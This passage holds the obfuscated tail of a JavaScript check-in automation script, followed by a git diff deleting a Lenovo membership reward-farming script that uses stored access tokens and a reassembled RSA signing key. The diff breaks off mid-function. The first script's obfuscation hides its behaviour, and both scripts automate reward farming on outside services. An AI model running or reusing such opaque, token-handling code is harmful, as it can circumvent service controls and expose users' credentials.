d])]:IUH9gW[0x1]})}const cIULrn=aDf6Q9(u7abyW(IUH9gW[0x1a6]))[u7abyW(IUH9gW[0x5b9])](),jZhnmm={[u7abyW(IUH9gW[0x88a])]:aDf6Q9(u7abyW(IUH9gW[0x5a8]))[u7abyW(IUH9gW[0x1fa])+u7abyW(IUH9gW[0x20f])]({[u7abyW(IUH9gW[0x7cb])+u7abyW(IUH9gW[0x88b])]:this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(0x849)],[u7abyW(0x84a)+IUH9gW[0x44]]:cIULrn,[u7abyW(IUH9gW[0x59e])+u7abyW(IUH9gW[0x59f])]:this[u7abyW(IUH9gW[0x5ef])]||u7abyW(0x84b)+u7abyW(0x84c)+u7abyW(0x84d)+u7abyW(0x84e)+u7abyW(0x84f)+u7abyW(0x850),[u7abyW(0x851)]:ix6yOs,[u7abyW(0x852)+IUH9gW[0x730]]:aC0THb,[u7abyW(IUH9gW[0x7ef])]:this[u7abyW(IUH9gW[0x86f])][u7abyW(IUH9gW[0x7ef])],[u7abyW(IUH9gW[0x870])]:this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(IUH9gW[0x870])],[u7abyW(IUH9gW[0x6bf])+u7abyW(IUH9gW[0x40e])]:IUH9gW[0x1],[u7abyW(IUH9gW[0x7b9])+u7abyW(0x853)]:u7abyW(0x854)+this[u7abyW(IUH9gW[0x401])]+IUH9gW[0x7fc]+this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(IUH9gW[0x7f0])]+IUH9gW[0x7fc]+aDf6Q9(u7abyW(IUH9gW[0x1a6]))[u7abyW(IUH9gW[0x5b9])](),[u7abyW(0x855)]:qIOqfr8,[u7abyW(IUH9gW[0x7f1])+u7abyW(IUH9gW[0x7f2])]:this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(IUH9gW[0x7f0])]}),[IUH9gW[0x72d]]:u7abyW(IUH9gW[0x300]),[u7abyW(IUH9gW[0x48f])+u7abyW(IUH9gW[0x490])]:u7abyW(IUH9gW[0x72f]),[u7abyW(IUH9gW[0x492])+u7abyW(IUH9gW[0x493])+u7abyW(IUH9gW[0x494])]:u7abyW(0x856),[IUH9gW[0x730]]:u7abyW(IUH9gW[0x409])+IUH9gW[0x1c],[u7abyW(IUH9gW[0x419])+u7abyW(IUH9gW[0x41a])+u7abyW(IUH9gW[0x41b])]:this[u7abyW(IUH9gW[0x445])],[u7abyW(IUH9gW[0x496])]:this[u7abyW(IUH9gW[0x496])],[u7abyW(IUH9gW[0x57a])]:this[u7abyW(IUH9gW[0x445])]};if(this[u7abyW(IUH9gW[0x4b6])]){aDf6Q9(u7abyW(IUH9gW[0xb8]))[u7abyW(IUH9gW[0x732])](jZhnmm,{[u7abyW(IUH9gW[0x4b5])]:this[u7abyW(IUH9gW[0x4b6])]})}let bPpkx2=await this[u7abyW(IUH9gW[0x497])](u7abyW(IUH9gW[0x816])+u7abyW(0x857)+u7abyW(0x858)+u7abyW(IUH9gW[0x4d5]),jZhnmm,this[u7abyW(IUH9gW[0x459])]);if(bPpkx2==IUH9gW[0x5]){i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x859)+u7abyW(0x85a));return IUH9gW[0x1]}try{let{[u7abyW(IUH9gW[0x24f])]:AvR7Ar}=await o1FeYT[u7abyW(IUH9gW[0x499])+IUH9gW[0x25b]]({[u7abyW(IUH9gW[0x23a])]:u7abyW(0x85b),[u7abyW(IUH9gW[0x4a1])+u7abyW(IUH9gW[0x317])]:this[u7abyW(IUH9gW[0x4a2])],[u7abyW(IUH9gW[0x4c8])+u7abyW(IUH9gW[0x23e])]:this[u7abyW(IUH9gW[0x4a2])],[u7abyW(IUH9gW[0x4a0])]:IUH9gW[0x191],[u7abyW(IUH9gW[0x4df])]:LrptE9(u7abyW(IUH9gW[0xb5])+IUH9gW[0xb6],IUH9gW[0x109],IUH9gW[0x180]),[u7abyW(IUH9gW[0x49e])]:bPpkx2[u7abyW(IUH9gW[0x49f])],[u7abyW(IUH9gW[0x4a4])]:u7abyW(IUH9gW[0x4a5]),[u7abyW(IUH9gW[0x23c])]:{[u7abyW(IUH9gW[0x4a8])]:bPpkx2[u7abyW(IUH9gW[0x4a7])+u7abyW(IUH9gW[0x4a9])][u7abyW(IUH9gW[0x4a8])],[u7abyW(IUH9gW[0x4aa])]:bPpkx2[u7abyW(IUH9gW[0x4a7])+u7abyW(IUH9gW[0x4a9])][u7abyW(IUH9gW[0x4aa])],[u7abyW(IUH9gW[0x83c])+u7abyW(IUH9gW[0x83d])]:u7abyW(0x85c),[u7abyW(IUH9gW[0x824])+u7abyW(IUH9gW[0x825])]:aDf6Q9(u7abyW(IUH9gW[0x1a6]))[u7abyW(IUH9gW[0x5b9])]()+aDf6Q9(u7abyW(IUH9gW[0x19f])+IUH9gW[0x155])[u7abyW(IUH9gW[0x53f])](aDf6Q9(u7abyW(IUH9gW[0x19f])+IUH9gW[0x155])[u7abyW(IUH9gW[0x3fb])]()*IUH9gW[0x841]),[u7abyW(IUH9gW[0x826])]:u7abyW(IUH9gW[0x827]),[u7abyW(IUH9gW[0x4ac])+u7abyW(IUH9gW[0x4ad])]:u7abyW(0x85d)+u7abyW(0x85e)+u7abyW(0x85f)+u7abyW(0x860),[u7abyW(IUH9gW[0x4b3])]:u7abyW(IUH9gW[0x419])+u7abyW(IUH9gW[0x41a])+u7abyW(IUH9gW[0x741])+this[u7abyW(IUH9gW[0x445])],[u7abyW(IUH9gW[0x828])+u7abyW(IUH9gW[0x829])+IUH9gW[0x7d1]]:u7abyW(IUH9gW[0x82a])+this[u7abyW(IUH9gW[0x405])]+(u7abyW(IUH9gW[0x82b])+u7abyW(IUH9gW[0x82c])+u7abyW(0x861)+u7abyW(IUH9gW[0x82e])+u7abyW(IUH9gW[0x82f])+u7abyW(IUH9gW[0x830])+IUH9gW[0x88c]),[u7abyW(IUH9gW[0x23d])+u7abyW(IUH9gW[0x23e])]:b4GwMp},[u7abyW(IUH9gW[0x24f])]:jZhnmm});if(AvR7Ar[u7abyW(IUH9gW[0x285])]===IUH9gW[0x423]||AvR7Ar[u7abyW(IUH9gW[0x285])]===IUH9gW[0x1a7]){this[u7abyW(IUH9gW[0x88d])][mOfCEy]++;return this[u7abyW(IUH9gW[0x716])+u7abyW(IUH9gW[0x877])+u7abyW(IUH9gW[0x878])][mOfCEy]<=IUH9gW[0x3]?(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x79f])+this[u7abyW(IUH9gW[0x43a])]+IUH9gW[0x88e]+this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(IUH9gW[0x508])]+u7abyW(0x862)+this[u7abyW(IUH9gW[0x716])+u7abyW(IUH9gW[0x877])+u7abyW(IUH9gW[0x878])][mOfCEy]+u7abyW(0x863)),this[u7abyW(IUH9gW[0x309])+u7abyW(IUH9gW[0x30a])]=u7abyW(IUH9gW[0x300]),this[u7abyW(IUH9gW[0x532])+u7abyW(IUH9gW[0x533])+IUH9gW[0x33a]]=IUH9gW[0x191],u7abyW(0x864)):(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x4f4])+this[u7abyW(IUH9gW[0x43a])]+IUH9gW[0x88e]+this[u7abyW(IUH9gW[0x86f])][u7abyW(IUH9gW[0x508])]+(u7abyW(0x865)+u7abyW(0x866)+u7abyW(0x867)+\"\u578B\")),this[u7abyW(IUH9gW[0x502])+u7abyW(IUH9gW[0x503])+IUH9gW[0x33a]][this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(IUH9gW[0x7c0])]]=IUH9gW[0x191],IUH9gW[0x1])}if(AvR7Ar[u7abyW(IUH9gW[0x5b7])+IUH9gW[0x44]]==IUH9gW[0x88f]){const P68Tf2=AvR7Ar[u7abyW(IUH9gW[0x24f])][u7abyW(0x868)];this[u7abyW(IUH9gW[0x716])+u7abyW(IUH9gW[0x877])+u7abyW(IUH9gW[0x878])][mOfCEy]=IUH9gW[0x1];if(w8rKdS!=u7abyW(IUH9gW[0x19b])){if(P68Tf2==IUH9gW[0x15a]){jk9aAk8(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x890])+this[u7abyW(IUH9gW[0x43a])]+IUH9gW[0x88e]+this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(IUH9gW[0x508])]+u7abyW(0x86a)),this[u7abyW(IUH9gW[0x502])+u7abyW(IUH9gW[0x503])+IUH9gW[0x33a]][this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(IUH9gW[0x7c0])]]=IUH9gW[0x191]);return P68Tf2}else{if(P68Tf2==IUH9gW[0x3]){jk9aAk8(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x890])+this[u7abyW(IUH9gW[0x43a])]+IUH9gW[0x88e]+this[u7abyW(IUH9gW[0x52b])+u7abyW(IUH9gW[0x52c])+u7abyW(IUH9gW[0x52d])][u7abyW(IUH9gW[0x508])]+u7abyW(0x86b)),this[u7abyW(IUH9gW[0x502])+u7abyW(IUH9gW[0x503])+IUH9gW[0x33a]][this[u7abyW(IUH9gW[0x86f])][u7abyW(IUH9gW[0x7c0])]]=IUH9gW[0x191]);return P68Tf2}}}return P68Tf2}else{jk9aAk8(i6HDx_S[u7abyW(IUH9gW[0x237])](AvR7Ar),this[u7abyW(IUH9gW[0x716])+u7abyW(IUH9gW[0x877])+u7abyW(IUH9gW[0x878])][mOfCEy]=IUH9gW[0x1]);return IUH9gW[0x1]}}catch(CiFrPq){jk9aAk8(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x86c)),this[u7abyW(IUH9gW[0x716])+u7abyW(IUH9gW[0x877])+u7abyW(IUH9gW[0x878])][mOfCEy]=IUH9gW[0x1]);return IUH9gW[0x1]}}}async function HZiXsG(...izD_V32){var ezk0Yu={get[u7abyW(IUH9gW[0x262])+IUH9gW[0x263]](){return o1FeYT}};return FDFdyPI(izD_V32,ezk0Yu)}async function YhKHLTU(...izD_V32){var ezk0Yu={get[u7abyW(IUH9gW[0x250])](){return o1FeYT}};return TyS56cx(izD_V32,ezk0Yu)}!(async()=>{await NPLpVYC();let izD_V32=await hANxcl();if(!izD_V32){return}Y9_psKn=izD_V32[u7abyW(0x86d)];let ezk0Yu=IUH9gW[0x5],RWe5Wz=[...Y9_psKn][u7abyW(0x86e)](()=>{return aDf6Q9(u7abyW(IUH9gW[0x19f])+IUH9gW[0x155])[u7abyW(IUH9gW[0x3fb])]()-IUH9gW[0x891]});i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x86f)+RWe5Wz[u7abyW(IUH9gW[0x34])]+(u7abyW(0x870)+IUH9gW[0x2e0]));for(let qIOqfr8 of RWe5Wz)try{const szoaZL=await HZiXsG(qIOqfr8);if(szoaZL){jk9aAk8(ezk0Yu=qIOqfr8,UW8IRP=qIOqfr8,i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x871)));break}else{i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x892])+u7abyW(0x873))}}catch(onPFgpD){i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x892])+u7abyW(0x874)+u7abyW(0x875)+onPFgpD[u7abyW(0x876)])}if(!ezk0Yu){i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x877)+u7abyW(0x878)+u7abyW(0x879))}jk9aAk8(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x87a)+u7abyW(0x87b)+(w8rKdS===u7abyW(IUH9gW[0x19b])?IUH9gW[0x894]:IUH9gW[0x895])),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x87c)+u7abyW(0x87d)+\"\\x3a\"),i6HDx_S[u7abyW(IUH9gW[0x237])](IUH9gW[0x63e][u7abyW(IUH9gW[0x628])](IUH9gW[0x2f8])),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x87e)+u7abyW(0x87f)+cQChDzh),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x880)+YFRxvc),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x881)+u7abyW(IUH9gW[0x893])+IUH9gW[0x185]+AU7CsdH),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x883)+u7abyW(IUH9gW[0x893])+IUH9gW[0x185]+yIL4ZH),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x884)+u7abyW(IUH9gW[0x62e])+HidfqvV),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x885)+BGww_rx),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x886)+ocunYau),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x887)+u7abyW(0x888)+(YgEGbY||u7abyW(IUH9gW[0x896]))),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x88a)+u7abyW(0x88b)+(oI9lJJ!==u7abyW(IUH9gW[0x300])?IUH9gW[0x894]:IUH9gW[0x895])),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x88c)+u7abyW(0x88d)+u7abyW(0x88e)+IUH9gW[0x185]+no0cY4v+IUH9gW[0x185]),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x88f)+(Tr1GQB[u7abyW(IUH9gW[0x34])]>IUH9gW[0x1]?u7abyW(0x890):u7abyW(IUH9gW[0x896]))),i6HDx_S[u7abyW(IUH9gW[0x237])](IUH9gW[0x63e][u7abyW(IUH9gW[0x628])](IUH9gW[0x2f8])));let J7aaZbe=aDf6Q9(u7abyW(IUH9gW[0x19f])+IUH9gW[0x155])[u7abyW(IUH9gW[0x53f])](aDf6Q9(u7abyW(IUH9gW[0x1a6]))[u7abyW(IUH9gW[0x5b9])]()/IUH9gW[0x180]),rWJvcF=await YhKHLTU();if(aDf6Q9(u7abyW(IUH9gW[0x25d]))[u7abyW(0x891)](J7aaZbe-rWJvcF)>IUH9gW[0x761]){i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x892))}jk9aAk8(k5KyAj=izD_V32[u7abyW(IUH9gW[0x311])],BaZkob=izD_V32[u7abyW(IUH9gW[0x311])+IUH9gW[0x95]],i6HDx_S[u7abyW(0x893)+\"\\u006e\\u0076\"](a0uB7XG),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x894)+\"\u914D\u7F6E\"));let mOfCEy=IUH9gW[0x15a];if(BGww_rx){try{mOfCEy=aDf6Q9(u7abyW(0x895)+IUH9gW[0x249])(BGww_rx);if(aDf6Q9(u7abyW(0x896))(mOfCEy)||mOfCEyIUH9gW[0x15a]){mOfCEy=IUH9gW[0x15a]}}}catch(EzW9ZM){mOfCEy=IUH9gW[0x15a]}}i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x897)+IUH9gW[0x897]+mOfCEy+u7abyW(IUH9gW[0x8a1]));if(ocunYau){try{jk9aAk8(ZzwZ2OA=ocunYau[u7abyW(IUH9gW[0x42b])](IUH9gW[0x898]),aDf6Q9(u7abyW(IUH9gW[0x1a1]))[u7abyW(IUH9gW[0x237])](u7abyW(0x899)+u7abyW(0x89a)+aDf6Q9(u7abyW(IUH9gW[0x1f4])+IUH9gW[0x44])[u7abyW(IUH9gW[0x1fa])+u7abyW(IUH9gW[0x20f])](ZzwZ2OA)))}catch(EzW9ZM){jk9aAk8(ZzwZ2OA=[u7abyW(IUH9gW[0x4f8]),u7abyW(IUH9gW[0x4f9]),u7abyW(IUH9gW[0x4fa])],i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x5e7])+u7abyW(IUH9gW[0x899])+u7abyW(IUH9gW[0x89a])+u7abyW(0x89d)+u7abyW(0x89e)+u7abyW(0x89f)))}}else{jk9aAk8(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8a0)),ZzwZ2OA=[u7abyW(IUH9gW[0x4f8]),u7abyW(IUH9gW[0x4f9]),u7abyW(IUH9gW[0x4fa])])}if(jVnJl_Y){try{jk9aAk8(jVnJl_Y=jVnJl_Y[u7abyW(IUH9gW[0x42b])](IUH9gW[0x898]),aDf6Q9(u7abyW(IUH9gW[0x1a1]))[u7abyW(IUH9gW[0x237])](u7abyW(0x8a1)+u7abyW(0x8a2)+aDf6Q9(u7abyW(IUH9gW[0x1f4])+IUH9gW[0x44])[u7abyW(IUH9gW[0x6d3])](jVnJl_Y)))}catch(EzW9ZM){jk9aAk8(jVnJl_Y=[IUH9gW[0x89b],IUH9gW[0x89c],u7abyW(IUH9gW[0x89d])],i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x5e7])+u7abyW(IUH9gW[0x899])+u7abyW(IUH9gW[0x89a])+u7abyW(0x8a4)+aDf6Q9(u7abyW(IUH9gW[0x5a8]))[u7abyW(IUH9gW[0x1fa])+u7abyW(IUH9gW[0x20f])](jVnJl_Y)))}}else{jk9aAk8(jVnJl_Y=[IUH9gW[0x89b],IUH9gW[0x89c],u7abyW(IUH9gW[0x89d])],i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8a5)+aDf6Q9(u7abyW(IUH9gW[0x5a8]))[u7abyW(IUH9gW[0x6d3])](jVnJl_Y)))}if(pn34plr){try{jk9aAk8(pn34plr=pn34plr[u7abyW(IUH9gW[0x42b])](IUH9gW[0x898]),aDf6Q9(u7abyW(IUH9gW[0x1a1]))[u7abyW(IUH9gW[0x237])](u7abyW(0x8a6)+aDf6Q9(u7abyW(IUH9gW[0x1f4])+IUH9gW[0x44])[u7abyW(IUH9gW[0x1fa])+u7abyW(IUH9gW[0x20f])](pn34plr)))}catch(EzW9ZM){jk9aAk8(pn34plr=[u7abyW(IUH9gW[0x5e8]),u7abyW(IUH9gW[0x4fa]),u7abyW(IUH9gW[0x89e])],i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8a8)+u7abyW(0x8a9)+u7abyW(0x8aa)+aDf6Q9(u7abyW(IUH9gW[0x1f4])+IUH9gW[0x44])[u7abyW(IUH9gW[0x6d3])](pn34plr)))}}else{jk9aAk8(pn34plr=[u7abyW(IUH9gW[0x5e8]),u7abyW(IUH9gW[0x4fa]),u7abyW(IUH9gW[0x89e])],i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8ab)+u7abyW(0x8ac)+u7abyW(0x8ad)+u7abyW(0x8ae)+u7abyW(0x8af)))}let Khi9t8=[];const aC0THb=[];for(let ix6yOs=IUH9gW[0x1];ix6yOs{izD_V32[IUH9gW[0x0]]=IUH9gW[0x3];return new(aDf6Q9(u7abyW(IUH9gW[0x1a2])))(async ezk0Yu=>{try{let RWe5Wz=new eoeZZW(izD_V32[IUH9gW[0x1]]),qIOqfr8=await RWe5Wz[u7abyW(IUH9gW[0x44f])]();jk9aAk8(Khi9t8[u7abyW(IUH9gW[0x89f])]({[u7abyW(IUH9gW[0x43a])]:RWe5Wz[u7abyW(IUH9gW[0x43a])],[u7abyW(IUH9gW[0x5d6])]:qIOqfr8,[u7abyW(0x8b5)]:RWe5Wz[u7abyW(IUH9gW[0x623])+u7abyW(IUH9gW[0x624])+IUH9gW[0x625]](),[u7abyW(IUH9gW[0x401])]:RWe5Wz[u7abyW(IUH9gW[0x401])]}),ezk0Yu())}catch(szoaZL){jk9aAk8(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8b6)+u7abyW(0x8b7)+szoaZL),ezk0Yu())}})}));await aDf6Q9(u7abyW(IUH9gW[0x1a2]))[u7abyW(0x8b8)](bPpkx2);if(cIULrn{jk9aAk8(izD_V32[IUH9gW[0x0]]=IUH9gW[0x3],i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(IUH9gW[0x439])+izD_V32[IUH9gW[0x1]][u7abyW(IUH9gW[0x43a])]+(u7abyW(0x8bd)+IUH9gW[0x185])+izD_V32[IUH9gW[0x1]][u7abyW(IUH9gW[0x5d6])]+u7abyW(IUH9gW[0x8a2])),P68Tf2+=izD_V32[IUH9gW[0x1]][u7abyW(IUH9gW[0x5d6])])})),i6HDx_S[u7abyW(IUH9gW[0x237])](\"\u2500\"[u7abyW(IUH9gW[0x628])](IUH9gW[0x2f8])),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8bf)+P68Tf2+u7abyW(IUH9gW[0x8a2])));const LrptE9=(P68Tf2/IUH9gW[0x65a])[u7abyW(IUH9gW[0x63a])+IUH9gW[0x1c]](IUH9gW[0x7]);jk9aAk8(i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8c0)+u7abyW(0x8c1)+IUH9gW[0x185]+LrptE9+\"\\u0020\u5143\"),i6HDx_S[u7abyW(IUH9gW[0x237])](IUH9gW[0x63e][u7abyW(IUH9gW[0x628])](IUH9gW[0x2f8])),i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8c2)),i6HDx_S[u7abyW(IUH9gW[0x237])](IUH9gW[0x63e][u7abyW(IUH9gW[0x628])](IUH9gW[0x2f8])));let CiFrPq=u7abyW(0x8c3)+u7abyW(0x8c4);jk9aAk8(CiFrPq+=u7abyW(0x8c5)+Khi9t8[u7abyW(IUH9gW[0x34])]+IUH9gW[0x31a],CiFrPq+=u7abyW(0x8c6)+IUH9gW[0x185]+P68Tf2+IUH9gW[0x31a],CiFrPq+=u7abyW(0x8c7)+LrptE9+u7abyW(0x8c8),Khi9t8[u7abyW(IUH9gW[0x42d])+IUH9gW[0x28]](RH8KLq((...izD_V32)=>{jk9aAk8(izD_V32[IUH9gW[0x0]]=IUH9gW[0x3],CiFrPq+=\"\u8D26\u53F7\"+izD_V32[IUH9gW[0x1]][u7abyW(IUH9gW[0x43a])]+IUH9gW[0x897]+izD_V32[IUH9gW[0x1]][u7abyW(IUH9gW[0x5d6])]+u7abyW(0x8c9))})),i6HDx_S[u7abyW(0x8ca)+u7abyW(0x8cb)][u7abyW(IUH9gW[0x89f])](CiFrPq));if(EklD7Y1[u7abyW(IUH9gW[0x34])]>IUH9gW[0x1]){i6HDx_S[u7abyW(IUH9gW[0x237])](u7abyW(0x8cc)+u7abyW(IUH9gW[0x401])+u7abyW(0x8cd)+EklD7Y1[u7abyW(IUH9gW[0x43e])](IUH9gW[0x898]))}})()[u7abyW(0x8ce)](RH8KLq((...izD_V32)=>{izD_V32[IUH9gW[0x0]]=IUH9gW[0x3];return aDf6Q9(u7abyW(IUH9gW[0x1a1]))[u7abyW(IUH9gW[0x237])](izD_V32[IUH9gW[0x1]])}))[u7abyW(0x8cf)+IUH9gW[0x16d]](()=>{return i6HDx_S[u7abyW(0x8d0)]()});async function NPLpVYC(...izD_V32){var ezk0Yu={get[u7abyW(0x8d1)](){return o1FeYT},get[u7abyW(IUH9gW[0x24c])](){return i6HDx_S}};return VQfS3_(izD_V32,ezk0Yu)}async function hANxcl(...izD_V32){var ezk0Yu={get[u7abyW(0x8d2)](){return o1FeYT},get[u7abyW(IUH9gW[0x236])](){return i6HDx_S}};return bEWF0E6(izD_V32,ezk0Yu)}function QC0AOY(...izD_V32){var ezk0Yu={get[u7abyW(0x8d3)](){return drO1rB},get[u7abyW(0x8d4)](){return w8rKdS},[u7abyW(0x8d5)](...izD_V32){return XOmVU2g(...izD_V32)},[u7abyW(0x8d6)+IUH9gW[0x12c]](...izD_V32){return ajEE_i(...izD_V32)},[u7abyW(0x8d7)+IUH9gW[0x26a]](...izD_V32){return bcq5K8P(...izD_V32)},[u7abyW(0x8d8)](...izD_V32){return nWUdKq(...izD_V32)},[u7abyW(0x8d9)](...izD_V32){return aatDxQ(...izD_V32)},[u7abyW(0x8da)+IUH9gW[0x12c]](...izD_V32){return nC60Cg(...izD_V32)},[u7abyW(0x8db)](...izD_V32){return faBjLD(...izD_V32)},[u7abyW(0x8dc)](...izD_V32){return fanMfR(...izD_V32)},[u7abyW(0x8dd)](...izD_V32){return lYK0Eoq(...izD_V32)},[u7abyW(0x8de)](...izD_V32){return ZuMey1G(...izD_V32)},[u7abyW(0x8df)](...izD_V32){return DgSF7DB(...izD_V32)},[u7abyW(0x8e0)](...izD_V32){return yrnZhC(...izD_V32)}};return ix6yOs=[izD_V32,ezk0Yu],new p4AG2E6(u7abyW(IUH9gW[0x1e]),u7abyW(0x8e1)+u7abyW(0x8e2),u7abyW(0x8e3)+u7abyW(0x8e4))[u7abyW(0x8e5)]}function jk9aAk8(){jk9aAk8=function(){}}")({ get "uFhJlC"() { return define }, get "vK1nFuf"() { return module }, set "vK1nFuf"(berSED) { return module = berSED }, get "qxMoumD"() { return angular }, get "TMczNL"() { return window }, get "Y7ydzU"() { return notify }, set "Y7ydzU"(berSED) { return notify = berSED }, get "YdMtds"() { return require }, get "LF74SSL"() { return exports }, get "csVzwK"() { return typeof define }, get "XtK2qOW"() { return typeof module }, get "k5qRMq"() { return typeof angular }, get "jHH6if9"() { return typeof exports } });
diff --git a/daily/lenovo.js b/daily/lenovo.js
deleted file mode 100644
index 91b844b3..00000000
--- a/daily/lenovo.js
+++ /dev/null
@@ -1,250 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 联想APP或者https://mmembership.lenovo.com.cn/app 网页
-cron: 30 11 * * *
-------------------------------------------
-#Notice:
-登录APP或者网页获取请求头的accesstoken参数
-变量名: lenovo
-多账号&或换行
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-self = this
-const { Env } = require("../tools/env")
-const $ = new Env("lenovo联想");
-let ckName = `lenovo`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(str) {
- this.index = $.userIdx++;
- this.ck = null //单账号多变量分隔符
- this.ckStatus = true;
- this.token = null
- this.accesstoken = str.split(strSplitor)[0];
- this.headers = {}
- }
- async main() {
- await this.ssoCheck()
- if (this.ck && this.token) {
- await this.userInfo()
- await this.checkIn()
- await this.getUserTaskList();
-
- }
-
-
-
- }
- async userInfo() {
- let options = { method: "POST", url: `https://mmembership.lenovo.com.cn/member-hp-webapi/v1/userBenefit/getMyAssets`, headers: this.headers }
- let { data: result } = await axios.request(options)
- if (result.code == "0") {
- $.log(`✅账号[${this.index}] 获取用户信息成功===>[${result.data.userId}]乐豆[${result.data.ledouNum}]`);
- this.ckStatus = true
- } else {
- $.log(`❌账号[${this.index}] 获取用户状态失败`);
- this.ckStatus = false
-
- }
- }
- async isSignIn() {
- let options = { method: "POST", url: `https://mmembership.lenovo.com.cn/member-hp-task-center/v1/task/getCheckInList?lenovoId=${this.ck}`, headers: this.headers }
- let { datal: result } = await axios.request(options)
- //
- if (result.code == "0") {
- if (result.data.flag == !1) {
- $.log(`✅账号[${this.index}] 今日未签到 =====> 签到ing🎉`)
-
- await this.checkIn()
- }
- } else {
- $.log(`❌账号[${this.index}] 获取签到状态`);
-
- }
- }
- async checkIn() {
- let options = { method: "POST", url: `https://mmembership.lenovo.com.cn/member-hp-task-center/v1/task/checkIn?lenovoId=${this.ck}&OSType=10011`, headers: this.headers }
- let { data: result } = await axios.request(options)
- //
- if (result.code == "0") {
- $.log(`✅账号[${this.index}] 签到成功🎉`)
- } else {
- $.log(`❌账号[${this.index}] 签到失败[${result.msg}]`);
-
- }
- }
- getSignKey() {
- global["window"] = {}
- const JSEncrypt = require("jsencrypt")
- let pt = ["cD", "BT", "Uzn", "Po", "Luu", "Yhc", "Cj", "FP", "al", "Tq"]
- , ht = ["MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJB", "L7qpP6mG6ZHdDKEIdTqQDo/WQ", "6NaWftXwOTHnnbnwUEX2/2jI4qALxRWMliYI80cszh6", "ySbap0KIljDCN", "w0CAwEAAQ=="]
- , mt = function (text) {
- var t, e, n = "";
- try {
- var r = new JSEncrypt;
- r.setPublicKey((t = ["A", "b", "C", "D", ""],
- e = "",
- ht.forEach((function (n, r) {
- return e += n + t[r]
- }
- )),
- e)),
- n = r.encrypt(text)
- } catch (t) {
- console.log("rsa加密错误!", n)
- }
- return n
- }
- for (var t = function () {
- var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 8;
